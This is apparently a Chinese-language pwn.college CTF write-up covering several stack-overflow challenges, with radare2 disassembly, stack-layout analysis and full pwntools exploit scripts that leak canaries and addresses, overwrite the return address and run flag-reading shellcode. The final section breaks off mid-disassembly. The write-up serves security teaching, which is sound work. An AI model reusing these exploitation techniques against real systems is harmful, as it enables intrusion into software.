│ 0x0000229c b90e000000 mov ecx, 0xe
│ 0x000022a1 4889d7 mov rdi, rdx
│ 0x000022a4 f348ab rep stosq qword [rdi], rax
│ 0x000022a7 488d4580 lea rax, [s]
│ 0x000022ab 48898578ff.. mov qword [buf], rax
│ 0x000022b2 48c78570ff.. mov qword [nbyte], 0
│ 0x00002692 488b8578ff.. mov rax, qword [buf]
# backdoor
│ 0x00002699 488d355911.. lea rsi, str.REPEAT ; 0x37f9 ; "REPEAT" ; const char *s2
│ 0x000026a0 4889c7 mov rdi, rax ; const char *s1
│ 0x000026a3 e8e8eaffff call sym.imp.strstr ; char *strstr(const char *s1, const char *s2)
│ 0x000026a8 4885c0 test rax, rax
│ ┌─< 0x000026ab 742f je 0x26dc
│ │ 0x000026ad 488d3d4c11.. lea rdi, str.Backdoor_triggered__Repeating_challenge__ ; 0x3800 ; "Backdoor triggered! Repeating challenge()" ; const char *s
│ │ 0x000026b4 e857eaffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x000026b9 488b9548ff.. mov rdx, qword [var_b8h] ; int64_t arg3
│ │ 0x000026c0 488b8d50ff.. mov rcx, qword [var_b0h]
│ │ 0x000026c7 8b855cffffff mov eax, dword [var_a4h]
│ │ 0x000026cd 4889ce mov rsi, rcx ; int64_t arg2
│ │ 0x000026d0 89c7 mov edi, eax ; int64_t arg1
│ │ 0x000026d2 e88afbffff call sym.challenge
│ ┌──< 0x000026d7 e982000000 jmp 0x275e
│ ││ ; CODE XREF from sym.challenge @ 0x26ab(x)
│ │└─> 0x000026dc 488d3d4711.. lea rdi, str.Goodbye_ ; 0x382a ; "Goodbye!" ; const char *s
│ │ 0x000026e3 e828eaffff call sym.imp.puts ; int puts(const char *s)
# ...
# Check exit() condition
# if use exit() to exit the challenge, we can't get the return address, so we have to make the challenge return normally
│ │ 0x00002724 488b45e8 mov rax, qword [var_18h]
│ │ 0x00002728 48ba8b5979.. movabs rdx, 0x855cc253c479598b
│ │ 0x00002732 4839d0 cmp rax, rdx
│ │┌─< 0x00002735 7416 je 0x274d
│ ││ 0x00002737 488d3d7212.. lea rdi, str.exit___condition_triggered._Exiting_ ; 0x39b0 ; "exit() condition triggered. Exiting!" ; const char *s
│ ││ 0x0000273e e8cde9ffff call sym.imp.puts ; int puts(const char *s)
│ ││ 0x00002743 bf2a000000 mov edi, 0x2a ; '*' ; int status
│ ││ 0x00002748 e823eaffff call sym.imp.exit ; void exit(int status)
│ ││ ; CODE XREF from sym.challenge @ 0x2735(x)
│ │└─> 0x0000274d 488d3d8412.. lea rdi, str.exit___condition_avoided__Continuing_execution. ; 0x39d8 ; "exit() condition avoided! Continuing execution." ; const char *s
│ │ 0x00002754 e8b7e9ffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x00002759 b800000000 mov eax, 0
│ │ ; CODE XREF from sym.challenge @ 0x26d7(x)
│ └──> 0x0000275e 488b4df8 mov rcx, qword [canary]
│ 0x00002762 6448330c25.. xor rcx, qword fs:[0x28]
│ ┌─< 0x0000276b 7405 je 0x2772
│ │ 0x0000276d e8aee9ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.challenge @ 0x276b(x)
│ └─> 0x00002772 c9 leave
└ 0x00002773 c3 ret

Payload 结构必须是这样:

[104 字节] 的垃圾填充数据(比如 b"A" * 104),这正好填满 buf 到 var_18h 之间的空隙。

[8 字节] value:p64(0x855cc253c479598b),覆盖 [var_18h],绕过 exit()。

[8 字节] 的垃圾填充数据(0x18 - 0x8 = 0x10,也就是 16 字节距离,减去刚刚写入的 8 字节魔法值,还需要 8 字节),用来走到 Canary 面前。

[8 字节] 的 Canary:原封不动地写回去,防止触发 __stack_chk_fail。

[8 字节] 的 Saved RBP:随便填,或者填入题干给你的 saved frame pointer。

[8 字节] 的 Saved RIP:填入题干给你的 input buffer starts at 的地址。

[N 字节] 的 Shellcode(既然题目说栈是可执行的,直接把 Shellcode 放在开头或者紧接着 RIP 后面跳过去执行就行)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# buf -> canary
offset1 = 104

check = p64(0x855CC253C479598B)

offset2 = 8

buf_to_canary = offset1 + len(check) + offset2


def exploit():
p = process("/challenge/crafty-clobber-easy")
# ==========================================
# Phase 1: 探测 Canary
# ==========================================
p.sendlineafter(b"Payload size: ", str(buf_to_canary + 1).encode())
payload1 = b"REPEAT".ljust(offset1, b"A") + check + b"A" * offset2 + b"X"
p.sendafter(b"!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(buf_to_canary + 1)
leak = p.recv(7)

canary = u64(b"\x00" + leak)

# ==========================================
# Phase 2: 提取 Saved RBP
# ==========================================
p.sendlineafter(b"Payload size: ", str(buf_to_canary + 9).encode())
payload2 = b"REPEAT".ljust(offset1, b"A") + check + b"A" * offset2 + b"Z" + p64(canary)[1:8] + b"Y"
p.sendafter(b"!\n", payload2)

p.recvuntil(b"You said: ")
p.recv(buf_to_canary + 9)

raw_leak = p.recvuntil(b"\n", drop=True)

# 只截取属于指针的 5 个有效字节,防止栈上的垃圾数据导致解包崩溃
rbp_leak = raw_leak[:5]
rbp = u64((b"\x00" + rbp_leak).ljust(8, b"\x00"))

# ==========================================
# Phase 3: 完美精确的内存分配
# ==========================================
shellcode = asm(shellcraft.cat("/flag"))

# 必须加上 len(shellcode),否则内核会残酷地将其截断!
payload3_size = buf_to_canary + 24 + 1000 + len(shellcode)
p.sendlineafter(b"Payload size: ", str(payload3_size).encode())

# 构造 Payload:抵达 Canary -> 填充 Dummy -> 覆写 RIP -> 部署 NOP 滑橇 -> Shellcode
payload3 = b"A" * offset1 + check + b"A" * offset2
payload3 += p64(canary)
payload3 += b"B" * 8
payload3 += p64(rbp)
payload3 += b"\x90" * 1000
payload3 += shellcode

p.sendafter(b"!\n", payload3)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result)
return


if __name__ == "__main__":
exploit()

pwn.college{*******************************************}

A Crafty Clobber (Hard)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# buf -> rbp - 0x60
0x00001b1b 488d45a0 lea rax, [rbp - 0x60]
0x00001b1f 48894598 mov qword [rbp - 0x68], rax
0x00001b23 48c7459000.. mov qword [rbp - 0x70], 0
0x00001b2b 488d3dd604.. lea rdi, str.Payload_size: ; 0x2008 ; "Payload size: "
0x00001b32 b800000000 mov eax, 0
0x00001b37 e8f4f5ffff call sym.imp.printf ;[1]
0x00001b3c 488d4590 lea rax, [rbp - 0x70]
0x00001b40 4889c6 mov rsi, rax
0x00001b43 488d3dcd04.. lea rdi, [0x00002017] ; "%lu"
0x00001b4a b800000000 mov eax, 0
0x00001b4f e80cf6ffff call sym.imp.__isoc99_scanf ;[2]
0x00001b54 488b4590 mov rax, qword [rbp - 0x70]
0x00001b58 4889c6 mov rsi, rax
0x00001b5b 488d3dbe04.. lea rdi, str.Send_your_payload__up_to__lu_bytes___n ; 0x2020 ; "Send your payload (up to %lu bytes)!
0x00001b62 b800000000 mov eax, 0
0x00001b67 e8c4f5ffff call sym.imp.printf ;[1]
0x00001b6c 488b5590 mov rdx, qword [rbp - 0x70]
0x00001b70 488b4598 mov rax, qword [rbp - 0x68]
0x00001b74 4889c6 mov rsi, rax
0x00001b77 bf00000000 mov edi, 0
0x00001b7c e8bff5ffff call sym.imp.read ;[3]
# ...
# check -> rbp - 0x10
# check value -> 0xd355efb4bf7a0170
│ 0x00001c1e 488b45f0 mov rax, qword [rbp - 0x10]
│ 0x00001c22 48ba70017a.. movabs rdx, 0xd355efb4bf7a0170
│ 0x00001c2c 4839d0 cmp rax, rdx
│┌─< 0x00001c2f 7416 je 0x1c47
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# buf -> canary
offset1 = 80

check = p64(0xd355efb4bf7a0170)

offset2 = 0

buf_to_canary = 88


def exploit():
p = process("/challenge/crafty-clobber-hard")
# ==========================================
# Phase 1: 探测 Canary
# ==========================================
p.sendlineafter(b"Payload size: ", str(buf_to_canary + 1).encode())
payload1 = b"REPEAT".ljust(offset1, b"A") + check + b"A" * offset2 + b"X"
p.sendafter(b"!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(buf_to_canary + 1)
leak = p.recv(7)

canary = u64(b"\x00" + leak)

# ==========================================
# Phase 2: 提取 Saved RBP
# ==========================================
p.sendlineafter(b"Payload size: ", str(buf_to_canary + 9).encode())
payload2 = b"REPEAT".ljust(offset1, b"A") + check + b"A" * offset2 + b"Z" + p64(canary)[1:8] + b"Y"
p.sendafter(b"!\n", payload2)

p.recvuntil(b"You said: ")
p.recv(buf_to_canary + 9)

raw_leak = p.recvuntil(b"\n", drop=True)

# 只截取属于指针的 5 个有效字节,防止栈上的垃圾数据导致解包崩溃
rbp_leak = raw_leak[:5]
rbp = u64((b"\x00" + rbp_leak).ljust(8, b"\x00"))

# ==========================================
# Phase 3: 完美精确的内存分配
# ==========================================
shellcode = asm(shellcraft.cat("/flag"))

# 必须加上 len(shellcode),否则内核会残酷地将其截断!
payload3_size = buf_to_canary + 24 + 1000 + len(shellcode)
p.sendlineafter(b"Payload size: ", str(payload3_size).encode())

# 构造 Payload:抵达 Canary -> 填充 Dummy -> 覆写 RIP -> 部署 NOP 滑橇 -> Shellcode
payload3 = b"A" * offset1 + check + b"A" * offset2
payload3 += p64(canary)
payload3 += b"B" * 8
payload3 += p64(rbp)
payload3 += b"\x90" * 1000
payload3 += shellcode

p.sendafter(b"!\n", payload3)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result)
return


if __name__ == "__main__":
exploit()

pwn.college{******************************************}

Can It Fizz?

Exploit the binary to obtain the flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
hacker@program-security~can-it-fizz:~$ checksec /challenge/can-it-fizz
[*] '/challenge/can-it-fizz'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found #####
NX: NX unknown - GNU_STACK missing #####
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No

hacker@program-security~can-it-fizz:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/can-it-fizz
┌ 466: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ 0x000011e9 f30f1efa endbr64
│ 0x000011ed 55 push rbp
│ 0x000011ee 4889e5 mov rbp, rsp
│ 0x000011f1 4883c480 add rsp, 0xffffffffffffff80 # same to sub rsp, 0x80
│ 0x000011f5 897d9c mov dword [var_64h], edi ; arg1
│ 0x000011f8 48897590 mov qword [var_70h], rsi ; arg2
│ 0x000011fc 48895588 mov qword [var_78h], rdx ; arg3
# buf -> rbp - 0x60
│ 0x00001200 488d55a0 lea rdx, [buf]
│ 0x00001204 b800000000 mov eax, 0
│ 0x00001209 b90c000000 mov ecx, 0xc
│ 0x0000120e 4889d7 mov rdi, rdx
│ 0x00001211 f348ab rep stosq qword [rdi], rax
│ 0x00001214 488d45a0 lea rax, [buf]
│ 0x00001218 4883c004 add rax, 4
# dest -> buf + 4
│ 0x0000121c 488945f8 mov qword [dest], rax
│ 0x00001220 488d45a0 lea rax, [buf]
│ 0x00001224 4883c014 add rax, 0x14
# src -> buf + 0x14
│ 0x00001228 488945f0 mov qword [src], rax
│ 0x0000122c c745ec0000.. mov dword [var_14h], 0
│ 0x00001233 c745a01000.. mov dword [buf], 0x10
│ 0x0000123a 488d45a0 lea rax, [buf]
│ 0x0000123e 4883c044 add rax, 0x44
# 'Buzz' in buf + 0x44
│ 0x00001242 c70042757a7a mov dword [rax], 0x7a7a7542 ; 'Buzz'
│ ; [0x7a7a7542:4]=-1
│ 0x00001248 66c740040a00 mov word [rax + 4], 0xa
│ 0x0000124e 488d3daf0d.. lea rdi, str.Welcome_to_Fizz_Buzz_ ; 0x2004 ; "Welcome to Fizz Buzz!" ; const char *s
│ 0x00001255 e866feffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000125a c745ec0000.. mov dword [var_14h], 0
│ ┌─< 0x00001261 e944010000 jmp 0x13aa
│ │ ; CODE XREF from sym.challenge @ 0x13b2(x)
│ ┌──> 0x00001266 8b55ec mov edx, dword [var_14h]
│ ╎│ 0x00001269 4863c2 movsxd rax, edx
│ ╎│ 0x0000126c 4869c08988.. imul rax, rax, 0xffffffff88888889
│ ╎│ 0x00001273 48c1e820 shr rax, 0x20
│ ╎│ 0x00001277 01d0 add eax, edx
│ ╎│ 0x00001279 c1f803 sar eax, 3
│ ╎│ 0x0000127c 89c1 mov ecx, eax
│ ╎│ 0x0000127e 89d0 mov eax, edx
│ ╎│ 0x00001280 c1f81f sar eax, 0x1f
│ ╎│ 0x00001283 29c1 sub ecx, eax
│ ╎│ 0x00001285 89c8 mov eax, ecx
│ ╎│ 0x00001287 89c1 mov ecx, eax
│ ╎│ 0x00001289 c1e104 shl ecx, 4
│ ╎│ 0x0000128c 29c1 sub ecx, eax
│ ╎│ 0x0000128e 89d0 mov eax, edx
│ ╎│ 0x00001290 29c8 sub eax, ecx
│ ╎│ 0x00001292 85c0 test eax, eax
│ ┌───< 0x00001294 7510 jne 0x12a6
│ │╎│ 0x00001296 488d057b2d.. lea rax, obj.fuzzbuzz ; 0x4018 ; "FizzBuzz\n"
│ │╎│ 0x0000129d 488945f0 mov qword [src], rax
│ ┌────< 0x000012a1 e980000000 jmp 0x1326
│ ││╎│ ; CODE XREF from sym.challenge @ 0x1294(x)
│ │└───> 0x000012a6 8b4dec mov ecx, dword [var_14h]
│ │ ╎│ 0x000012a9 4863c1 movsxd rax, ecx
│ │ ╎│ 0x000012ac 4869c05655.. imul rax, rax, 0x55555556
│ │ ╎│ 0x000012b3 48c1e820 shr rax, 0x20
│ │ ╎│ 0x000012b7 4889c2 mov rdx, rax
│ │ ╎│ 0x000012ba 89c8 mov eax, ecx
│ │ ╎│ 0x000012bc c1f81f sar eax, 0x1f
│ │ ╎│ 0x000012bf 89d6 mov esi, edx
│ │ ╎│ 0x000012c1 29c6 sub esi, eax
│ │ ╎│ 0x000012c3 89f0 mov eax, esi
│ │ ╎│ 0x000012c5 89c2 mov edx, eax
│ │ ╎│ 0x000012c7 01d2 add edx, edx
│ │ ╎│ 0x000012c9 01c2 add edx, eax
│ │ ╎│ 0x000012cb 89c8 mov eax, ecx
│ │ ╎│ 0x000012cd 29d0 sub eax, edx
│ │ ╎│ 0x000012cf 85c0 test eax, eax
│ │┌───< 0x000012d1 750d jne 0x12e0
│ ││╎│ 0x000012d3 488d05362d.. lea rax, obj.fizz ; 0x4010 ; "Fizz\n"
│ ││╎│ 0x000012da 488945f0 mov qword [src], rax
│ ┌─────< 0x000012de eb46 jmp 0x1326
│ │││╎│ ; CODE XREF from sym.challenge @ 0x12d1(x)
│ ││└───> 0x000012e0 8b4dec mov ecx, dword [var_14h]
│ ││ ╎│ 0x000012e3 4863c1 movsxd rax, ecx
│ ││ ╎│ 0x000012e6 4869c06766.. imul rax, rax, 0x66666667
│ ││ ╎│ 0x000012ed 48c1e820 shr rax, 0x20
│ ││ ╎│ 0x000012f1 89c2 mov edx, eax
│ ││ ╎│ 0x000012f3 d1fa sar edx, 1
│ ││ ╎│ 0x000012f5 89c8 mov eax, ecx
│ ││ ╎│ 0x000012f7 c1f81f sar eax, 0x1f
│ ││ ╎│ 0x000012fa 29c2 sub edx, eax
│ ││ ╎│ 0x000012fc 89d0 mov eax, edx
│ ││ ╎│ 0x000012fe 89c2 mov edx, eax
│ ││ ╎│ 0x00001300 c1e202 shl edx, 2
│ ││ ╎│ 0x00001303 01c2 add edx, eax
│ ││ ╎│ 0x00001305 89c8 mov eax, ecx
│ ││ ╎│ 0x00001307 29d0 sub eax, edx
│ ││ ╎│ 0x00001309 85c0 test eax, eax
│ ││┌───< 0x0000130b 750e jne 0x131b
│ │││╎│ 0x0000130d 488d45a0 lea rax, [buf]
│ │││╎│ 0x00001311 4883c044 add rax, 0x44
│ │││╎│ 0x00001315 488945f0 mov qword [src], rax
│ ┌──────< 0x00001319 eb0b jmp 0x1326
│ ││││╎│ ; CODE XREF from sym.challenge @ 0x130b(x)
│ │││└───> 0x0000131b 488d05fe2c.. lea rax, obj.nothing ; 0x4020 ; "\n"
│ │││ ╎│ 0x00001322 488945f0 mov qword [src], rax
│ │││ ╎│ ; CODE XREFS from sym.challenge @ 0x12a1(x), 0x12de(x), 0x1319(x)
│ └└└────> 0x00001326 8b45ec mov eax, dword [var_14h]
│ ╎│ 0x00001329 89c6 mov esi, eax
│ ╎│ 0x0000132b 488d3de80c.. lea rdi, str._d: ; 0x201a ; "%d: " ; const char *format
│ ╎│ 0x00001332 b800000000 mov eax, 0
│ ╎│ 0x00001337 e894fdffff call sym.imp.printf ; int printf(const char *format)

│ ╎│ 0x0000133c 488d45a0 lea rax, [buf]
│ ╎│ 0x00001340 4883c014 add rax, 0x14 ; buf + 0x14 = rbp - 0x4c
│ ╎│ 0x00001344 baf8000000 mov edx, 0xf8 ; size_t nbyte = 248
│ ╎│ 0x00001349 4889c6 mov rsi, rax ; buf = rbp - 0x4c
│ ╎│ 0x0000134c bf00000000 mov edi, 0 ; fd = stdin
│ ╎│ 0x00001351 e8eafdffff call sym.imp.read

│ ╎│ 0x00001356 488d45a0 lea rax, [buf]
│ ╎│ 0x0000135a 4883c014 add rax, 0x14
│ ╎│ 0x0000135e 4889c6 mov rsi, rax
│ ╎│ 0x00001361 488d3db70c.. lea rdi, str.You_entered:__s_n ; 0x201f ; "You entered: %s\n" ; const char *format
│ ╎│ 0x00001368 b800000000 mov eax, 0
│ ╎│ 0x0000136d e85efdffff call sym.imp.printf ; int printf(const char *format)
│ ╎│ 0x00001372 c645b400 mov byte [var_4ch], 0
│ ╎│ 0x00001376 488b55f0 mov rdx, qword [src]
│ ╎│ 0x0000137a 488b45f8 mov rax, qword [dest]
│ ╎│ 0x0000137e 4889d6 mov rsi, rdx ; const char *src
│ ╎│ 0x00001381 4889c7 mov rdi, rax ; char *dest
# strcpy check the src and dest in stack
│ ╎│ 0x00001384 e827fdffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
│ ╎│ 0x00001389 488b45f8 mov rax, qword [dest]
│ ╎│ 0x0000138d 4889c6 mov rsi, rax
│ ╎│ 0x00001390 488d3d990c.. lea rdi, str.Correct_answer:__s_n ; 0x2030 ; "Correct answer: %s\n" ; const char *format
│ ╎│ 0x00001397 b800000000 mov eax, 0
│ ╎│ 0x0000139c e82ffdffff call sym.imp.printf ; int printf(const char *format)
│ ╎│ 0x000013a1 8b45ec mov eax, dword [var_14h]
│ ╎│ 0x000013a4 83c001 add eax, 1
│ ╎│ 0x000013a7 8945ec mov dword [var_14h], eax
│ ╎│ ; CODE XREF from sym.challenge @ 0x1261(x)
# loop counter rbp - 0x14 compares buf
│ ╎└─> 0x000013aa 8b55ec mov edx, dword [var_14h]
│ ╎ 0x000013ad 8b45a0 mov eax, dword [buf]
│ ╎ 0x000013b0 39c2 cmp edx, eax
│ └──< 0x000013b2 0f8caefeffff jl 0x1266

│ 0x000013b8 90 nop
│ 0x000013b9 c9 leave
└ 0x000013ba c3 ret
1
2
3
4
5
0x0000126c      imul rax, rax, 0xffffffff88888889
...
0x000012ac imul rax, rax, 0x55555556
...
0x000012e6 imul rax, rax, 0x66666667
  • % 15 == 0 (0x88888889 乘法逆元) -> 对应 FizzBuzz\n
  • % 3 == 0 (0x55555556 乘法逆元) -> 对应 Fizz\n
  • % 5 == 0 (0x66666667 乘法逆元) -> 对应 buf + 0x44 (即事先写好的 "Buzz")
  • 都不满足 -> 对应 \n
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# check buf?
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

p = gdb.debug(
"/challenge/can-it-fizz",
env={"SHELL": "/bin/bash"},
gdbscript="""
b * challenge+360
continue
ni
""",
)
p.sendline(b"1")

# buf to rbp
p.send(cyclic(74))
p.interactive()
  • [buf] 位于 rbp - 0x60
  • 输入起点 buf + 0x14 = rbp - 0x4c
  • 循环计数器 var_14h = rbp - 0x14
  • 源字符串指针 src = rbp - 0x10
  • 目标字符串指针 dest = rbp - 0x8
  • Saved RBP = rbp
  • Saved RIP (Return Address) = rbp + 0x8

从输入起点 (rbp - 0x4c) 到循环计数器 (rbp - 0x14),距离正好是 0x4c - 0x14 = 0x38,56 bytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"


def exploit():
p = process("/challenge/can-it-fizz")

# 推进到第 5 次循环 (var_14h == 5) 以触发 Buzz
# 此时 src 将被指向 buf+0x44
for i in range(6):
p.recvuntil(f"{i}: ".encode())
if i < 5:
p.send(b"A")

# 56 bytes padding + 覆盖 var_14h 为 -1 (\xff\xff\xff\xff)
# 这样没有 null byte 截断,printf 会一直打印出后面的 src 指针
# 同时 -1 + 1 = 0,0 < 16,循环会继续,不会退出。
payload_leak_stack = b"A" * 56 + b"\xff\xff\xff\xff"
p.send(payload_leak_stack)

p.recvuntil(b"You entered: " + payload_leak_stack)
stack_leak = u64(p.recv(6).ljust(8, b"\x00"))

buf_addr = stack_leak - 0x44
rbp_addr = buf_addr + 0x60
log.info(f"[+] Stack Leaked! buf address: {hex(buf_addr)}")

# 此时 var_14h 变回 0,触发 FizzBuzz,src 指向只读数据段 (PIE)
p.recvuntil(b"0: ")

payload_leak_pie = b"A" * 56 + b"\xff\xff\xff\xff"
p.send(payload_leak_pie)

p.recvuntil(b"You entered: " + payload_leak_pie)
pie_leak = u64(p.recv(6).ljust(8, b"\x00"))
pie_base = pie_leak - 0x4018
log.info(f"[+] PIE Leaked! base address: {hex(pie_base)}")

p.recvuntil(b"0: ")

dest_addr = rbp_addr - 0x200 # 在栈上找个安全区让 strcpy 复制
src_addr = pie_base + 0x4018 # 填入一个合法的只读地址,防止 strcpy 触发 SIGSEGV
shellcode_addr = rbp_addr + 16 # ret 之后的地址

# 构造完美内存布局
payload = flat(
{
0: b"A" * 56,
56: p32(16), # var_14h 设为 16,循环自增变 17
60: p64(src_addr), # 修复 src
68: p64(dest_addr), # 修复 dest
76: p64(rbp_addr), # 填入原始 rbp
84: p64(shellcode_addr), # 劫持 ret
92: asm(shellcraft.cat("/flag")),
}
)

p.send(payload)
p.interactive()


if __name__ == "__main__":
exploit()

1. 利用 Buzz 泄露栈地址

1
2
3
4
5
# 推进到第 5 次循环 (var_14h == 5)
for i in range(6):
p.recvuntil(f"{i}: ".encode())
if i < 5:
p.send(b"A")

程序内置了 FizzBuzz 逻辑。当 var_14h == 5 时,满足 % 5 == 0,触发 Buzz 分支。此时,二进制文件会将 src 指针指向 buf + 0x44(这里提前写入了 "Buzz")。

1
2
payload_leak_stack = b"A" * 56 + b"\xff\xff\xff\xff"
p.send(payload_leak_stack)
  1. 填充 56 字节的 A,恰好抵达 var_14h
  2. \xff\xff\xff\xff (-1) 覆盖 var_14h
  3. read() 函数不会自动补 \x00(Null byte),而 printf("You entered: %s") 遇到 \x00 才会停。
  4. 因为我们把 var_14h 变成了非零的 -1printf 会顺着读下去,直接把紧贴在它后面的 src 指针(位于 rbp - 0x10)给打印出来!
  5. 同时,由于 -1 + 1 = 0,循环变量更新后变成了 0,满足 0 < 16,程序继续下一次循环,不会崩溃。

2. 利用 FizzBuzz 泄露程序基址

1
payload_leak_pie = b"A" * 56 + b"\xff\xff\xff\xff"

因为上一步把计数器改成了 -1,这一轮循环加一后 var_14h 变成了 00 % 15 == 0,所以这一轮触发的是 FizzBuzz 分支。 此时,程序会将 src 指向只读数据段(.rodata)中的 "FizzBuzz\n" 字符串(地址为 PIE 偏移 0x4018)。

再次用 56 字节 + -1 覆盖,把此时的 src 指针打印出来。减去偏移 0x4018,就拿到了程序的真实基址(pie_base

3. Code Execution

到了这一步,我们手里有栈的绝对地址(用来放 Shellcode),也有 PIE 基址。

1
2
3
dest_addr = rbp_addr - 0x200
src_addr = pie_base + 0x4018
shellcode_addr = rbp_addr + 16

你可能会问,既然可以直接覆盖 RIP,为什么还要搞这么复杂的 payload,修复 srcdest 回去看反汇编,在 printf 之后,程序执行了一个操作: call sym.imp.strcpy (把 src 复制到 dest)

如果只是用垃圾数据往后覆盖,把 srcdest 覆写成了无效地址(比如全 A),strcpy 就会触发 SIGSEGV (段错误)

  • 56: p32(16): 把循环计数器改成 16。等这一轮结束 16 + 1 = 17,不满足 < 16 的条件,程序会立刻跳出循环,执行 leave; ret
  • 60: p64(src_addr): 填入刚泄露的有效可读地址(只读段的 "FizzBuzz")。
  • 68: p64(dest_addr): 填入栈上一个远离我们 shellcode 的空闲区(rbp_addr - 0x200
  • 76: p64(rbp_addr): 还原 RBP。
  • 84: p64(shellcode_addr): 将 Saved RIP 劫持为栈上的 Shellcode 地址。
  • 92: asm(...): 注入 shellcode。

pwn.college{********************************************}

Does It Buzz?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
hacker@program-security~does-it-buzz:~$ r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/does-it-buzz
┌ 507: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(rdi, rsi, rdx) vars(9:sp[0x10..0x90])
│ 0x000013d0 f30f1efa endbr64
│ 0x000013d4 55 push rbp
│ 0x000013d5 4889e5 mov rbp, rsp
│ 0x000013d8 4881ec9000.. sub rsp, 0x90
│ 0x000013df 897d8c mov dword [var_74h], edi ; arg1
│ 0x000013e2 48897580 mov qword [var_80h], rsi ; arg2
│ 0x000013e6 48899578ff.. mov qword [var_88h], rdx ; arg3
│ 0x000013ed 64488b0425.. mov rax, qword fs:[0x28]
│ 0x000013f6 488945f8 mov qword [canary], rax
│ 0x000013fa 31c0 xor eax, eax
│ 0x000013fc 488d5590 lea rdx, [buf]
│ 0x00001400 b800000000 mov eax, 0
│ 0x00001405 b90c000000 mov ecx, 0xc
│ 0x0000140a 4889d7 mov rdi, rdx
│ 0x0000140d f348ab rep stosq qword [rdi], rax
│ 0x00001410 488d4590 lea rax, [buf]
│ 0x00001414 4883c004 add rax, 4
│ 0x00001418 488945e8 mov qword [dest], rax
│ 0x0000141c 488d4590 lea rax, [buf]
│ 0x00001420 4883c014 add rax, 0x14
│ 0x00001424 488945e0 mov qword [src], rax
│ 0x00001428 c745dc0000.. mov dword [var_24h], 0
│ 0x0000142f c745901000.. mov dword [buf], 0x10
│ 0x00001436 488d4590 lea rax, [buf]
│ 0x0000143a 4883c044 add rax, 0x44
│ 0x0000143e c70042757a7a mov dword [rax], 0x7a7a7542 ; 'Buzz'
│ ; [0x7a7a7542:4]=-1
│ 0x00001444 66c740040a00 mov word [rax + 4], 0xa
│ 0x0000144a 488d3dbb0c.. lea rdi, str.Welcome_to_Fizz_Buzz_ ; 0x210c ; "Welcome to Fizz Buzz!" ; const char *s
│ 0x00001451 e8eafcffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001456 c745dc0000.. mov dword [var_24h], 0
│ ┌─< 0x0000145d e944010000 jmp 0x15a6
│ │ ; CODE XREF from sym.challenge @ 0x15ae(x)
│ ┌──> 0x00001462 8b55dc mov edx, dword [var_24h]
│ ╎│ 0x00001465 4863c2 movsxd rax, edx
│ ╎│ 0x00001468 4869c08988.. imul rax, rax, 0xffffffff88888889
│ ╎│ 0x0000146f 48c1e820 shr rax, 0x20
│ ╎│ 0x00001473 01d0 add eax, edx
│ ╎│ 0x00001475 c1f803 sar eax, 3
│ ╎│ 0x00001478 89c1 mov ecx, eax
